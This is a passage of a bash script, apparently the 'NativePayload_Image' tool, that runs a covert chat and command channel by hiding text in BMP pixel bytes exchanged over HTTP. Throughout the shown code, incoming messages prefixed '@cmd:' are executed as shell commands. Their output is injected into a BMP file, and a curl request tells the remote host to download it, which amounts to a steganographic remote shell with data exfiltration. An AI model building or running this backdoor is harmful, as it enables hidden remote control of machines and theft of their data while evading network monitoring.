                        echo "[!]:Base64 Payload/Message Detected!"
                        tput setaf 3;
                        echo "[!]:your Message Text/Payload with length [$myPaylength] is :" $decode
                        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                        ChatInputArray+=("$Timestr <--Rec-B- $file Message:[$decode]")
                        tput setaf 2;
                        fi
                fi

                if [ "$base64isonoff" == "false" ];
                then
                                        #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####
                                        DetectingCMDinPayRAWtext=`echo $PayRAWtext | fold -w5 | head -c 5`
                                        if [ "$DetectingCMDinPayRAWtext" == "@cmd:" ];
                                        then
                                        iscmdshellonoff="on"

                                        mycmds=`echo $PayRAWtext | cut -d':' -f2 `
                                        tput setaf 3;
                                        echo "[!]:BMP::CMD.ShellCommands.[$mycmds]:Detected"
                                        CMDResultoutput=`$mycmds`
                                        sleep 0.2
                                        echo "[!]:BMP::CMD.ShellCommands.output:Created"
                                        head -c "5024" /dev/zero > "ChatviaPixels.bmp"
                                        tput setaf 10;
                                        echo "[>]:BMP::ChatviaPixels.bmp::[5024].null.bytes:Created"
                                        makeheader ChatviaPixels.bmp
                                        if [ "$isb64" == "true" ] ;
                                        then
                                        mytextv2=`echo $CMDResultoutput | base64 | xxd -p`
                                        fi
                                        if [ "$isb64" == "false" ] ;
                                        then
                                        mytextv2=`echo $CMDResultoutput`
                                        fi
                                        mylength=`echo ${#mytextv2}`
                                        LengthPlusTextv2=-$mylength+$mytextv2
                                        echo $"$LengthPlusTextv2" > chat.bin
                                        ((mylength++))
                                        ((mylength++))
                                        ((mylength++))
                                        ((mylength++))
                                        nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixels.bmp conv=notrunc >
chatddlogs.log 2>&1 &

                                        tput setaf 10;

                                        mylength=`echo ${#mytextv2}`
                                        tput setaf 2;
                                        echo "[!]:BMP:Payload.injection:Started "
                                        h1=`cat chat.bin | xxd -p`
                                        tput setaf 10;
                                        echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixels.bmp"

                                        Time=`date '+%d/%m/%Y %H:%M:%S'`
                                        tput setaf 2;
                                        echo "[!]:[$Time]:File \"ChatviaPixels.bmp\" is ready ...."
                                        #### injecting Command-Text to BMP file (ChatviaPixels.bmp) ####

                                        #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####
                                        Time=`date '+%d/%m/%Y %H:%M:%S'`
                                        echo "$Time" > Activity.txt

                                                if [ "$isb64" == "true" ] ;
                                                then
                                                nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1 &
                                                fi
                                                if [ "$isb64" == "false" ] ;
                                                then
                                                nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1 &
                                                fi

                                        fi
                                        #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####


                        if [ "$DetectingCMDinPayRAWtext" != "@cmd:" ];
                        then
                        iscmdshellonoff="off"
                        tput setaf 3;
                        echo "[!]:your Message Text/Payload with length [$myPaylength] is :" $PayRAWtext
                        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                        ChatInputArray+=("$Timestr <--Rec-N- $file Message:[$PayRAWtext]")
                        tput setaf 2;
                        fi
                fi


        echo
        tput setaf 2;

        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`

        #### Checking Web Requests by log file ####
        echo " " > SimpleHTTPServerChat.txt

        done

fi
# ============================================transferring by HTTP traffic (chat via BMP files)===========
# NativePayload_Image version 2.0
# ============================================transferring by HTTP traffic (chat via BMP files)===========

#  ./NativePayload_Image.sh -chatclient l 80  192.168.56.101  r 80
if [ "$1" == $'-chatclient' ] ;
then

        echo "ops;)" > default.html
        echo "ops;D" > default.aspx

                pids=`ps -ef | grep "python -m SimpleHTTPServer" | awk {'print $2'}`
                for i in $pids ;
                do
                nohup kill $pids > pidskill.txt 2>&1 &
                done

        sleep 1
        nohup python -m SimpleHTTPServer $3 > SimpleHTTPclientChat.txt 2>&1 &
        tput setaf 10;
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo "[>]:[$Timestr]:Chat Mode Started by SimpleHTTPServer on Port [$3]!"
        tput setaf 2;
        echo "[!]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected"
        filename="SimpleHTTPclientChat.txt"
        myrecords=""
        ChatInputArray=()
        base64isonoff="false"
        isb64="false"
        iscmdshellonoff="off"
while true;
do

        while true;
        do
                tput setaf 2;

                sleep 10
                fs2=$(stat -c%s "$filename")
                if [ "$fs" != "$fs2" ] ;
                then

                tput setaf 6;
```

```
               Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
               echo "[!]:[$Timestr]:Waiting for Chat Messages (Detecting Text by BMP Pixels)!"
               fs=$(stat -c%s "$filename")
               fs2=$(stat -c%s "$filename")


               FinishFlag=`strings $filename | grep $4 | grep GET | awk {'print $7'} | cut -d'=' -f2 | grep "chatoff.bt"`

               if (( `echo ${#FinishFlag}` !=0 ));
               then
               base64isonoff="true"
               break
               fi

               FinishFlag=`strings $filename | grep $4 | grep GET | awk {'print $7'} | cut -d'=' -f2 | grep "chatoff.bf"`

               if (( `echo ${#FinishFlag}` !=0 ));
               then
               base64isonoff="false"
               break
               fi

               tput setaf 2;

               else
               fs=$(stat -c%s "$filename")
               fs2=$(stat -c%s "$filename")

               fi
        done

        DumpPixels $4 $6 "ChatviaPixels.bmp"
        if [[ "$7" == "showall" ]];
        then
        cat log.txt
        fi
        file=`cat log.txt | grep "Saving to" | cut -d':' -f2`
        #./NativePayload_Image.sh -readpay ${file:2:-1}
        tput setaf 2;
        echo "[!]:Reading file \"${file:2:-1}\" by hexdump Tool...."
        echo "[!]:Note: your Payload started from index [30]:"
        tput setaf 6;
        myPaylength=`hexdump -C ${file:2:-1} | grep "00000030" | cut -d'-' -f2 | cut -d'+' -f1`
        PayRAWtext=`strings ${file:2:-1} | cut -d'+' -f2`


#################+++++++++++++++++++++++++++++++++++++++++++##############################################
               if [ "$base64isonoff" == "true" ];
               then
                      decode=`echo $PayRAWtext | xxd -r -p | base64 -d`

                                     #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixelsII.bmp) ####
                                     DetectingCMDinDecode=`echo $decode | fold -w5 | head -c 5`
                                     if [ "$DetectingCMDinDecode" == "@cmd:" ];
                                     then
                                     iscmdshellonoff="on"
                                     mycmds=`echo $decode | cut -d':' -f2 `
                                     tput setaf 3;
                                     echo "[!]:BMP::CMD.ShellCommands.[$mycmds]:Detected"
                                     CMDResultoutput=`$mycmds`
                                     sleep 0.2
                                     echo "[!]:BMP::CMD.ShellCommands.output:Created"
                                     head -c "5024" /dev/zero > "ChatviaPixelsII.bmp"
                                     tput setaf 10;
                                     echo "[>]:BMP::ChatviaPixelsII.bmp::[5024].null.bytes:Created"
                                     makeheader ChatviaPixelsII.bmp
                                     if [ "$isb64" == "true" ] ;
                                     then
                                     mytextv1=`echo $CMDResultoutput | base64 | xxd -p`
                                     fi
                                     if [ "$isb64" == "false" ] ;
                                     then
                                     mytextv1=`echo $CMDResultoutput`
                                     fi
                                     mylength=`echo ${#mytextv1}`
                                     LengthPlusTextv1=-$mylength+$mytextv1
                                     echo $"$LengthPlusTextv1" > chat.bin
                                     ((mylength++))
                                     ((mylength++))
                                     ((mylength++))
                                     ((mylength++))
                                     nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixelsII.bmp conv=notrunc >
chatddlogs.log 2>&1 &
```

```
                                     tput setaf 10;

                                     mylength=`echo ${#mytextv1}`
                                     tput setaf 2;
                                     echo "[!]:BMP:Payload.injection:Started "
                                     h1=`cat chat.bin | xxd -p`
                                     tput setaf 10;
                                     echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixelsII.bmp"

                                     Time=`date '+%d/%m/%Y %H:%M:%S'`
                                     tput setaf 2;
                                     echo "[!]:[$Time]:File \"ChatviaPixelsII.bmp\" is ready ...."
                                     #### injecting Command-Text to BMP file (ChatviaPixels.bmp) ####

                                     #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####

                                     Time=`date '+%d/%m/%Y %H:%M:%S'`
                                     echo "$Time" > Activity.txt

                                            if [ "$isb64" == "true" ] ;
                                            then
                                            nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1
&
                                            fi
                                            if [ "$isb64" == "false" ] ;
                                            then
                                            nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1
&
                                            fi
                                     fi
                                     #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####

                       if [ "$DetectingCMDinDecode" != "@cmd:" ];
                       then
                       iscmdshellonoff="off"
                       tput setaf 3;
                       echo "[!]:Base64 Payload/Message Detected!"
                       tput setaf 3;
                       echo "[!]:your Message Text/Payload with length [$myPaylength] is :" $decode
                       Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                       ChatInputArray+=("$Timestr <--Rec-B- $file Message:[$decode]")
                       tput setaf 2;
                       fi
               fi

               if [ "$base64isonoff" == "false" ];
               then
                                     #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixelsII.bmp) ####
                                     DetectingCMDinPayRAWtext=`echo $PayRAWtext | fold -w5 | head -c 5`
                                     if [ "$DetectingCMDinPayRAWtext" == "@cmd:" ];
                                     then
                                     iscmdshellonoff="on"

                                     mycmds=`echo $PayRAWtext | cut -d':' -f2 `
                                     tput setaf 3;
                                     echo "[!]:BMP::CMD.ShellCommands.[$mycmds]:Detected"
                                     CMDResultoutput=`$mycmds`
                                     sleep 0.2
                                     echo "[!]:BMP::CMD.ShellCommands.output:Created"
                                     head -c "5024" /dev/zero > "ChatviaPixelsII.bmp"
                                     tput setaf 10;
                                     echo "[>]:BMP::ChatviaPixelsII.bmp::[5024].null.bytes:Created"
                                     makeheader ChatviaPixelsII.bmp
                                     if [ "$isb64" == "true" ] ;
                                     then
                                     mytextv2=`echo $CMDResultoutput | base64 | xxd -p`
                                     fi
                                     if [ "$isb64" == "false" ] ;
                                     then
                                     mytextv2=`echo $CMDResultoutput`
                                     fi
                                     mylength=`echo ${#mytextv2}`
                                     LengthPlusTextv2=-$mylength+$mytextv2
                                     echo $"$LengthPlusTextv2" > chat.bin
                                     ((mylength++))
                                     ((mylength++))
                                     ((mylength++))
                                     ((mylength++))
                                     nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixelsII.bmp conv=notrunc >
chatddlogs.log 2>&1 &

                                     tput setaf 10;
                                     mylength=`echo ${#mytextv2}`
                                     tput setaf 2;
                                     echo "[!]:BMP:Payload.injection:Started "
                                     h1=`cat chat.bin | xxd -p`
                                     tput setaf 10;
                                     echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixelsII.bmp"

                                     Time=`date '+%d/%m/%Y %H:%M:%S'`
                                     tput setaf 2;
                                     echo "[!]:[$Time]:File \"ChatviaPixelsII.bmp\" is ready ...."
                                     #### injecting Command-Text to BMP file (ChatviaPixels.bmp) ####

                                     #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####

                                     Time=`date '+%d/%m/%Y %H:%M:%S'`
                                     echo "$Time" > Activity.txt

                                             if [ "$isb64" == "true" ] ;
                                             then
                                             nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1
&
                                             fi
                                             if [ "$isb64" == "false" ] ;
                                             then
                                             nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1
&
                                             fi

                                     fi
                                     #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####


                      if [ "$DetectingCMDinPayRAWtext" != "@cmd:" ];
                      then
                      iscmdshellonoff="off"
                      tput setaf 3;
                      echo "[!]:your Message Text/Payload with length [$myPaylength] is :" $PayRAWtext
                      Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                      ChatInputArray+=("$Timestr <--Rec-N- $file Message:[$PayRAWtext]")
                      tput setaf 2;
                      fi
               fi

#################++++++++++++++++++++++++++++++++++++++++++++###############################################

               if [ "$iscmdshellonoff" == "off" ] ;
               then
               read -p "[>]:Enter::Chat:input:#" input
               fi

               if [ "$input" == "exit" ] ;
               then
               break
               fi
               if [ "$input" == "@base64off" ] ;
               then
               tput setaf 10
               echo "[@]:ChatMode::SendbyBMPviaHTTP::BMP.payload.requests.base64:Off"
               tput setaf 2
               isb64="false"
               read -p "[>]:Enter::Chat:input:#" input
               fi
               if [ "$input" == "@base64on" ] ;
               then
               tput setaf 10
               echo "[@]:ChatMode::SendbyBMPviaHTTP::BMP.payload.requests.base64:On"
               tput setaf 2
               isb64="true"
               read -p "[>]:Enter::Chat:input:#" input
               fi
               if [ "$input" == "@msgsave" ] ;
               then
                      Time=`date '+%d-%m-%Y.%H-%M-%S'`
                      echo "[@]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected" >>
Messages_$Time.txt
                      for index in ${!ChatInputArray[*]}
                      do
                      echo "$index ${ChatInputArray[$index]}" >> Messages_$Time.txt
                      done
                      echo "[@]:Messages.Saved:[Messages_$Time.txt]"
                      read -p "[>]:Enter::Chat:input:#" input
               fi
               if [ "$input" == "@msglist" ] ;
               then
```

```
                tput setaf 10
                echo "[@]:Messages.list:Show"
                printf '%s' "[@]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected"
                echo "$(tput setab 4)"
                for index in ${!ChatInputArray[*]}
                do
                echo "$(tput setab 4)" $index ${ChatInputArray[$index]}
                done
                echo "$(tput setab 0)"
                echo
                tput setaf 2
                read -p "[>]:Enter::Chat:input:#" input
                fi

                if [ "$iscmdshellonoff" == "off" ] ;
                then
                Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                ChatInputArray+=("$Timestr --Send--> Message:[$input]")

                #### injecting Text/Chat to BMP file (ChatviaPixels.bmp) ####
                head -c "5024" /dev/zero > "ChatviaPixelsII.bmp"
                tput setaf 10;
                echo "[>]:BMP::ChatviaPixelsII.bmp::[5024].null.bytes:Created"
                makeheader ChatviaPixelsII.bmp

                        if [ "$isb64" == "true" ] ;
                        then
                        mytext=`echo $input | base64 | xxd -p`
                        fi
                        if [ "$isb64" == "false" ] ;
                        then
                        mytext=`echo $input`
                        fi

                mylength=`echo ${#mytext}`
                LengthPlusText=-$mylength+$mytext
                echo $"$LengthPlusText" > chat.bin
                ((mylength++))
                ((mylength++))
                ((mylength++))
                ((mylength++))
                nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixelsII.bmp conv=notrunc > chatddlogs.log 2>&1 &

                tput setaf 10;

                mylength=`echo ${#mytext}`
                tput setaf 2;
                echo "[!]:BMP:Payload.injection:Started "
                h1=`cat chat.bin | xxd -p`
                tput setaf 10;
                echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixelsII.bmp"


                Time=`date '+%d/%m/%Y %H:%M:%S'`
                tput setaf 2;
                echo "[!]:[$Time]:File \"ChatviaPixelsII.bmp\" is ready ...."
                #### injecting Text/Chat to BMP file (ChatviaPixels.bmp) ####

                #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####

                Time=`date '+%d/%m/%Y %H:%M:%S'`
                echo "$Time" > Activity.txt


                        if [ "$isb64" == "true" ] ;
                        then
                        nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1 &
                        fi
                        if [ "$isb64" == "false" ] ;
                        then
                        nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1 &
                        fi


                #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####
                fi
                echo " " > SimpleHTTPclientChat.txt

done
fi
```